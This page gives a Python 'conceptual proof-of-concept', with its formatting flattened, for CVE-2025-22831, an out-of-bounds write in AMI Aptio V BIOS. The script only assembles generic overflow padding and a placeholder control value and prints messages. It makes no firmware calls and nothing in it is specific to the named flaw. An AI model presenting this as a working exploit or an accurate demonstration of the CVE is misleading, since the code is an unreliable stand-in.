CVE-2025-22831：AMI APTIOV BIOS越界写入漏洞

# CVE-2025-22831 PoC - AMI APTIOV BIOS Out-of-bounds Write # This is a conceptual proof-of-concept demonstrating the vulnerability pattern # Actual exploitation requires specific knowledge of APTIOV firmware internals import struct import os import sys # Note: Real exploitation requires direct BIOS/firmware interaction # via SMI (System Management Interrupt) handlers or UEFI runtime services class APTIOVExploit: """ Conceptual PoC for CVE-2025-22831 Targets: AMI APTIOV BIOS - Out-of-bounds Write vulnerability """ def __init__(self, target_buffer_size=64, overflow_size=256): self.buffer_size = target_buffer_size self.overflow_size = overflow_size def craft_malicious_payload(self): """ Craft a payload that triggers out-of-bounds write in BIOS """ # Normal data to fill the expected buffer normal_data = b"\x00" * self.buffer_size # Overflow data - this portion writes beyond the buffer boundary # In real exploitation, this would contain addresses and shellcode overflow_data = b"\x41" * self.overflow_size # 'A' padding # Control data - overwrites return addresses or critical structures control_data = struct.pack("<Q", 0xDEADBEEFCAFEBABE) * 4 payload = normal_data + overflow_data + control_data return payload def trigger_vulnerability(self, interface="SMI"): """ Trigger the out-of-bounds write via BIOS interface """ print(f"[*] Targeting AMI APTIOV BIOS") print(f"[*] Buffer size: {self.buffer_size} bytes") print(f"[*] Overflow size: {self.overflow_size} bytes") payload = self.craft_malicious_payload() # In real scenario, this would interact with: # - SMM (System Management Mode) handlers # - UEFI variables # - BIOS configuration utilities # - Direct memory-mapped I/O print(f"[+] Payload crafted: {len(payload)} bytes") print(f"[!] WARNING: Executing this against production systems") print(f"[!] may cause permanent BIOS corruption") # Simulated trigger - actual exploitation requires kernel-level access if os.name == 'posix' and os.geteuid() == 0: print("[*] Running with root privileges") # Real exploit would write to /dev/mem or use ioperm/iopl return True else: print("[-] Requires root/administrator privileges") return False def main(): print("=" * 60) print("CVE-2025-22831 - AMI APTIOV BIOS OOB Write PoC") print("CVSS 7.8 (HIGH) | Local | Low Privileges Required") print("=" * 60) exploit = APTIOVExploit(target_buffer_size=64, overflow_size=256) exploit.trigger_vulnerability() if __name__ == "__main__": main()